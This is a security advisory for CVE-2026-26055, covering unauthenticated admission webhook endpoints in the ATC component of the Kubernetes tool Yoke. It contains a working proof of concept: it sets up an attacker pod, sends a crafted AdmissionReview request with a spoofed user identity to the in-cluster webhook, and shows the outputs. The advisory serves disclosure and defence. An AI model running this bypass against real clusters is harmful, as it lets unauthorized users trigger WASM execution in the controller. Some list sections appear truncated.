github.com/yokecd/yoke
Affected
- introduced
0, last affected0.19.0(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-26055, GO-2026-4491
Unauthenticated Admission Webhook Endpoints in Yoke ATC
Unauthenticated Admission Webhook Endpoints in Yoke ATC
This vulnerability exists in the Air Traffic Controller (ATC) component of Yoke, a Kubernetes deployment tool. The ATC webhook endpoints lack proper authentication mechanisms, allowing any pod within the cluster network to directly send AdmissionReview requests to the webhook, bypassing Kubernetes API Server authentication. This enables attackers to trigger WASM module execution in the ATC controller context without proper authorization.
Recommended CWE: CWE-306 (Missing Authentication for Critical Function)
Summary
Yoke ATC implements multiple Admission Webhook endpoints (/validations/{airway}, /validations/resources, /validations/flights.yoke.cd, /validations/airways.yoke.cd, etc.) that process AdmissionReview requests. These endpoints do not implement TLS client certificate authentication or request source validation. Any client that can reach the ATC service within the cluster can send requests directly to these endpoints, bypassing the Kubernetes API Server's authentication and authorization mechanisms.
Details
The vulnerability exists in the HTTP handler implementation where webhook endpoints accept and process requests without verifying the client identity.
Vulnerable Endpoint Handlers (cmd/atc/handler.go:147-335):
mux.HandleFunc("POST /validations/{airway}", func(w http.ResponseWriter, r *http.Request) {
var review admissionv1.AdmissionReview
if err := json.NewDecoder(r.Body).Decode(&review); err != nil {
http.Error(w, fmt.Sprintf("failed to decode review: %v", err), http.StatusBadRequest)
return
}
// No authentication check - request is processed directly
// ...
})
Additional Unauthenticated Endpoints:
/validations/resources (cmd/atc/handler.go:337-538)/validations/external-resources (cmd/atc/handler.go:540-597)/validations/airways.yoke.cd (cmd/atc/handler.go:599-636)/validations/flights.yoke.cd (cmd/atc/handler.go:638-733)/crdconvert/{airway} (cmd/atc/handler.go:61-145)The code lacks:
PoC
Environment Setup
Prerequisites:
Step 1: Create Kind cluster
cat > /tmp/kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: yoke-vuln-test
nodes:
- role: control-plane
EOF
kind create cluster --config /tmp/kind-config.yaml
Step 2: Build and install Yoke CLI
git clone https://github.com/yokecd/yoke.git
cd yoke
GOPROXY=direct GOSUMDB=off go build -o /tmp/yoke ./cmd/yoke
Step 3: Deploy ATC
/tmp/yoke takeoff --create-namespace --namespace atc -wait 120s atc oci://ghcr.io/yokecd/atc-installer:latest
Step 4: Deploy Backend Airway example
/tmp/yoke takeoff -wait 60s backendairway "https://github.com/yokecd/examples/releases/download/latest/atc_backend_airway.wasm.gz"
Exploitation Steps
Step 1: Create attacker pod
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: webhook-attacker
namespace: default
spec:
containers:
- name: attacker
image: curlimages/curl:latest
command: ["sleep", "infinity"]
EOF
kubectl wait --for=condition=Ready pod/webhook-attacker --timeout=60s
Step 2: Probe webhook endpoints from attacker pod
kubectl exec webhook-attacker -- curl -k -s -w "\nHTTP_CODE: %{http_code}" \
-X POST https://atc-atc.atc.svc.cluster.local:80/validations/resources \
-H "Content-Type: application/json" -d '{}'
Actual output from verification:
panic
HTTP_CODE: 500
The HTTP 500 response (not 401/403) indicates the endpoint is accessible without authentication. The error is due to invalid request body format, not authentication failure.
Step 3: Send crafted AdmissionReview request
Create malicious request file:
cat > /tmp/malicious-review.json << 'EOF'
{
"apiVersion": "admission.k8s.io/v1",
"kind": "AdmissionReview",
"request": {
"uid": "vul002-exploit-uid",
"kind": {"group": "examples.com", "version": "v1", "kind": "Backend"},
"resource": {"group": "examples.com", "version": "v1", "resource": "backends"},
"name": "exploit-backend",
"namespace": "default",
"operation": "CREATE",
"userInfo": {"username": "attacker-from-pod", "groups": ["system:unauthenticated"]},
"object": {
"apiVersion": "examples.com/v1",
"kind": "Backend",
"metadata": {"name": "exploit-backend", "namespace": "default"},
"spec": {"image": "nginx:latest", "replicas": 1}
}
}
}
EOF
kubectl cp /tmp/malicious-review.json webhook-attacker:/tmp/malicious-review.json
Send the request:
kubectl exec webhook-attacker -- curl -k -s -X POST \
https://atc-atc.atc.svc.cluster.local:80/validations/backends.examples.com \
-H "Content-Type: application/json" \
-d @/tmp/malicious-review.json
Actual output from verification:
{"kind":"AdmissionReview","apiVersion":"admission.k8s.io/v1","request":{"uid":"vul002-normal-test","kind":{"group":"examples.com","version":"v1","kind":"Backend"},"resource":{"group":"examples.com","version":"v1","resource":"backends"},"name":"vul002-normal-backend","namespace":"default","operation":"CREATE","userInfo":{"username":"attacker-from-pod","groups":["system:unauthenticated"]},"object":{"apiVersion":"examples.com/v1","kind":"Backend","metadata":{"name":"vul002-normal-backend","namespace":"default"},"spec":{"image":"nginx:latest","replicas":1}},"oldObject":null,"options":null},"response":{"uid":"vul002-normal-test","allowed":false,"status":{"metadata":{},"status":"Failure","message":"applying resource returned errors during dry-run..."}}}
Step 4: Verify ATC logs
kubectl logs -n atc deployment/atc-atc --tail=20 | grep backends.examples.com
Actual log output:
{"time":"2026-02-01T15:29:08.890991543Z","level":"INFO","msg":"request served","component":"server","code":200,"method":"POST","path":"/validations/backends.examples.com","elapsed":"435ms","validation":{"allowed":false,"status":"Invalid"}}
The elapsed: 435ms indicates WASM module execution occurred.
Expected Result
The attacker pod successfully sends AdmissionReview requests directly to the ATC webhook endpoint without any authentication. The ATC controller processes the request and executes the WASM module, proving that:
userInfo is accepted without verificationImpact
Vulnerability Type: Missing Authentication / Authentication Bypass
Attack Prerequisites:
High Basis: The source's own band: HIGH
0, last affected 0.19.0 (semver)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0